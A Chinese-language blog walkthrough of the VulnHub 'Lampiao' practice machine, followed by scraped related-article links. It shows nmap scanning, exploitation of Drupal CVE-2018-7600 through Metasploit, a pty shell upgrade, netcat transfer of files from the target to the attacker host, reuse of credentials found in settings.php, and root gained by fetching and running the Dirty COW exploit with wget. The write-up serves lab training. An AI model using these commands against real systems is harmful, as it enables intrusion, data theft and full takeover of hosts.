vulnhub|渗透测试lampiao

题记

最近在打靶机,发现了一个挺有意思的靶机,这里想跟大家分享一下.

环境准备

vulnhub最近出的一台靶机

靶机(https://www.vulnhub.com/entry/lampiao-1,249/)Lampiao.zip (Size: 669 MB)

Download: https://mega.nz/#!aG4AAaDB!CBLRRYQsAhTOyPJqyjC0Blr-weMH9QMdYbPfMj0LGeM

(https://mega.nz/#!aG4AAaDB!CBLRRYQsAhTOyPJqyjC0Blr-weMH9QMdYbPfMj0LGeM)

Download (Mirror): https://download.vulnhub.com/lampiao/Lampiao.zip

(https://download.vulnhub.com/lampiao/Lampiao.zip)

Download (Torrent): https://download.vulnhub.com/lampiao/Lampiao.zip.torrent ( Magnet)

(https://download.vulnhub.com/lampiao/Lampiao.zip.torrent)

攻击机 Kali IP 10.10.10.128

靶机在同一C段下 IP 10.10.10.129

主机发现

使用命令 nmap -sP 192.168.107.1/24

起始Ip 10.10.10.1,攻击机的ip是10.10.10.128,而10.10.10.254是结束ip。因为环境配置为dhcp动态分布,所以说我们的靶机ip就

是10.10.10.129

端口扫描

我们需要知道目标机器上开了哪些端口,运行了哪些服务,利用某些服务的漏洞来进行攻击,所以我们先进行端口扫描。

之前用nmap -sS 只扫出来个22端口,于是尝试ssh弱口令爆破,未果,

利用题目信息生成字典,未果,访问网站,发现如下是个静态页面什么也没有。文件头,源代码中无有效信息。

后来反应过来,有可能网站还有其它端口可以访问,因为-sS参数是扫描常用的1000以内的端口号。于是用-p-参数: nmap -p- 10.1

0.10.129

扫出1898端口,于是访问,发现是个web服务端口:

大致对网站浏览下,查找下功能点。主要是进行信息收集

目录扫描

信息收集中非常重要的一步。这里我使用御剑扫描,可以看到,扫出来了robots.txt

于是访问robots.txt

发现敏感文件/CHANGELOG.txt,一个记录更新的日志,访问发现是Drupal为框架的网站,最近一次更新为7.54

获取会话

其它目录暂无发现有用信息,搜集到大致的敏感信息后于是搜索其对应的漏洞利用,推荐使用msf,非常全面,而且方便,使用前记

得 msfdb start 启动其连接的数据库,这样查找速度会很快

ps(kali默认是2.0版本也就是16年的,建议搜索前保证kali是最新版,漏洞才更全。现在用的是rolling更新源了。其他的源的话更新会报

错。kali rolling修改更新源(https://blog.csdn.net/xuqi7/article/details/71430349)

msf启动后,search drupal搜索其存在的对应漏洞,发现如下。

使用2018年这个漏洞。Drupal 在3月28日爆出的一个远程代码执行漏洞,CVE编号CVE-2018-7600。分析及 PoC 构造:

推荐连接(https://paper.seebug.org/567/)

我们直接利用,设置好目标主机10.10.10.129,目标端口号1898,查看以及设置目标操作系统类型,然后run执行,可以看到获取到了一个会话

执行shell获取交互式命令,由于我们获取的shell并不是一个具有完整交互的shell,对于已经安装了python的系统,我们可以使用 python提供的pty模块,只需要一行脚本就可以创建一个原生的终端,命令如下: python -c 'import pty; pty.spawn("/bin/bas

h")'

寻找突破口

果不其然是www-data用户,说明需要提权,ls -al查看网站根目录有些什么东西发现有几个东西不是网站根目录应该有的,所以应该可以获得什么重要信息,所以把这些文件传输到攻击机上一一查看

  1. 先在攻击机上使用命令 nc =-lvp 1234>接受的文件名 准备接收文件
  2. 在靶机使用 nc -w 3 10.10.10.12<要传输的文件名 传输文件

在攻击机中打开,audio.m4a,lampiao.jpg,LuizGonzaga-LampiaoFalou.mp3,qrc.png如下发现

  1. qrc.png:一个二维码,扫出来的结果是 Try harger! muahuahuahua,被作者鼓励了。。
  2. audio.m4a:提示为user tiago,说明要先找到用户tiago的密码
  3. uizGonzaga-LampiaoFalou.mp3:一首音乐,丢入隐写工具没发现什么异常
  4. lampiao.jpg:一张牛仔的图片,丢入binwlak中未发现有什么隐写

继续翻目录,找文件,在var/www/html/sites/default目录下找到配置文件settings.php,发现敏感信息,tiago以及密码,很有可能就是其系统用户tiago的密码

获取普通用户权限

尝试登陆tiago用户,发现成功了。获取tiago用户的权限,根据提示及题目背景,发现tiago和lampiao很有些关系,那首音乐又提示说tiago。

然后试了试mysql数据库root的密码,结果密码也是tiago的登陆密码,成功获取Mysql数据库的root权限。我想tiago的提示也许就是这个意思吧

在Mysql数据库中发现有drupal数据库,网站所有用户的信息就在这里了。这应该就是tiago这个用户最大的用处了吧,

尝试爆破root密码

获得普通用户的权限后,接下来的一步就是提权到最高的root权限了。通过前面收集的所有信息生成社工字典,ssh爆破,未成功,

使用cewl

一个通过爬取网站上关键信息生成字典的一个神器,命令 cewl 1.1.1.1 -m 3 -d 3 -e -c -v -w a.txt ,爆破ssh未果

内核提权:

uname -a 查看当前内核版本:

这里需要去网上搜适合的exp了。推荐使用kali自带的searchsploit

,非常全面,方便,当然也可以去网上搜,

这里我们利用的是CVE-2016-5195:脏牛(Dirty Cow)漏洞-Linux一个内核本地提权漏洞 ,黑客通过远程入侵获取低权限用户后,利用该漏洞在全版本Linux系统服务器上实现本地提权,从而获取到服务器root权限。

漏洞影响范围:Linux Kernel >= 2.6.22 的所有 Linux 系统

意味着从 2007 年发布 2.6.22 版本开始,直到2016年10月18日为止,这中间发行的所有 Linux 系统都受影响。而我们的靶机为 ubuntu14.04.5更新时间为16年-8月-05所以存在漏洞

使用wget命令,下载提权exp到靶机: wget https://www.exploit-db.com/download/40847.cpp

c++格式的文件,先编译,编译命令 g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil

  1. -Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
  2. -pedantic 允许发出ANSI/ISO C标准所列出的所有警告
  3. -O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
  4. -std=c++11就是用按C++2011标准来编译的
  5. -pthread 在Linux中要用到多线程时,需要链接pthread库
  6. -o dcow gcc生成的目标文件,名字为dcow

./dcow -s  执行。提权成功

目标机上如果没有编译环境,这时候,我们可以本地搭建和目标机一样的环境,在本地编译好提权exp后,在目标机器上运行即可

Get flag

flag肯定在root目录下。所以cd到root然后看到flag.txt ,cat查看一下。得到flag,通关。

记一次 lampiao渗透(Drupal+脏牛提权)的更多相关文章

  1. 对vulnhub靶机lampiao的getshell到脏牛提权获取flag

    前言: vulnhub里面的一个靶场,涉及到drupal7 cms远程代码执行漏洞(CVE-2018-7600)和脏牛提权. 靶机下载地址:https://mega.nz/#!aG4AAaDB!CBL ...

  2. vulnhub-Lampiao脏牛提权

    准备工作 在vulnhub官网下载lampiao靶机Lampião: 1 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收 ...

  3. 脏牛提权CVE-2016-5195

    gcc -pthread dirtyc0w.c -o dirtyc0w 尝试使用gcc -pthread dirtyc0w.c -o dirtyc0w 编译该POC文件 gcc命令是一个编译器套件,可 ...

  4. 【渗透测试】Msf提权步骤

    1.生成反弹木马(脚本,执行程序) msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=&l ...

  5. 9.CVE-2016-5195(脏牛)内核提权漏洞分析

    漏洞描述: 漏洞编号:CVE-2016-5195 漏洞名称:脏牛(Dirty COW) 漏洞危害:低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权 影响范围:Linux内核>=2 ...

  6. Billu_b0x2内网渗透(多种提权方法)靶场-vulnhub

    个人博客阅读体验更佳 本次来试玩一下vulnhub上的Billu_b0x2,下载地址. 下载下来后是 .ova 格式,建议使用vitualbox进行搭建,vmware可能存在兼容性问题.靶场推荐使用N ...

  7. Lampiao(dirtycow)脏牛漏洞复现

    nmap扫描内网80端口发现目标主机 nmap -sP   -p 80 192.168.31.0/24 扫描发现目标主机开放22端口.并且  1898端口开放http服务 御剑扫描目录并访问之后发现存 ...

  8. 漏洞预警:Linux内核9年高龄的“脏牛”0day漏洞

    这个名叫Dirty COW,也就是脏牛的漏洞,存在Linux内核中已经有长达9年的时间,也就说2007年发布的Linux内核版本中就已经存在此漏洞.Linux kernel团队已经对此进行了修复. 漏 ...

  9. Linux提权—脏牛漏洞(CVE-2016-5195)

    目录 脏牛漏洞 exp1复现: exp2复现: 脏牛漏洞 脏牛漏洞,又叫Dirty COW,存在Linux内核中已经有长达9年的时间,在2007年发布的Linux内核版本中就已经存在此漏洞.Linux ...

随机推荐

  1. Nginx(七):location的使用以及nginx关闭原理

    上一篇中,我们了解了如何nginx的配置原则及解析框架,以及解析location配置的具体实现,相信大家对该部分已经有了比较深刻的认识. 本篇,我们进一步来了解下,解析之后的配置,如何应用到实际中的吧 ...

  2. Flask的配置文件加载两种方式

    配置文件 1 基于全局变量 2 基于类的方式 配置文件的加载需要将配合文件的相对路径添加到app.config.from_object("文件路径"),类的方式也是一样,需要将类的 ...

  3. JavaScript中的构造函数和原型!

    JavaScript中的原型! 原型的内容是涉及到JavaScript中的构造函数的 每一个构造函数都有一个原型对象!prototype 他的作用是 共享方法!还可以扩展内置对象[对原来的内置对象进行 ...

  4. nginx.service: control process exited, code=exited status=1

    安装linux的宝塔面板,结果面板显示nginx和php已经运行了,但是机器系统上并没有运行.记录一次nginx报错,操作步骤看下代码: [root@localhost nginx]# systemc ...

  5. MySQL调优之索引优化

    一.索引基本知识 1.索引的优点 1.减少了服务器需要扫描的数据量 2.帮助服务器避免排序和临时表 例子: select * from emp orde by sal desc; 那么执行顺序: 所以 ...

  6. Java面向对象(一)----初次见面

    面向对象 面向过程:根据业务逻辑从上到下写代码 函数式编程:对一些功能的代码封装到函数中,日后无需重复编写,直接调用函数就可以了 面向对象:将所有的功能进行封装,面对的事封装了功能的实体(对象),即面 ...

  7. LOJ10131暗的连锁

    题目描述 原题来自:POJ 3417 Dark 是一张无向图,图中有 N 个节点和两类边,一类边被称为主要边,而另一类被称为附加边.Dark 有 N–1 条主要边,并且 Dark 的任意两个节点之间都 ...

  8. SSH入门开发(实现一个简单的登录功能)详解

    开头,首先想记录下一首诗,是今天拇指阅读看到的:很有感触,所以乐于分享: 那么,下面正式开始进入正题,搭建一个 SSH完整的项目: 首先,我们需要在WEB-ROOT下创建一个login.jsp(登录) ...

  9. Jenkins(8)构建触发器之定时构建和轮询 SCM

    前言 跑自动化用例每次用手工点击jenkins出发自动化用例太麻烦了,我们希望能每天固定时间跑,这样就不用管了,坐等收测试报告结果就行. jenkins的定时任务是用的crontab语法 定时构建语法 ...

  10. memcache安装及解决无法远程连接的问题

    Memcached是什么 Memcached是一个自由开源的,高性能,分布式内存对象缓存系统. Memcached是以LiveJournal旗下Danga Interactive公司的Brad Fit ...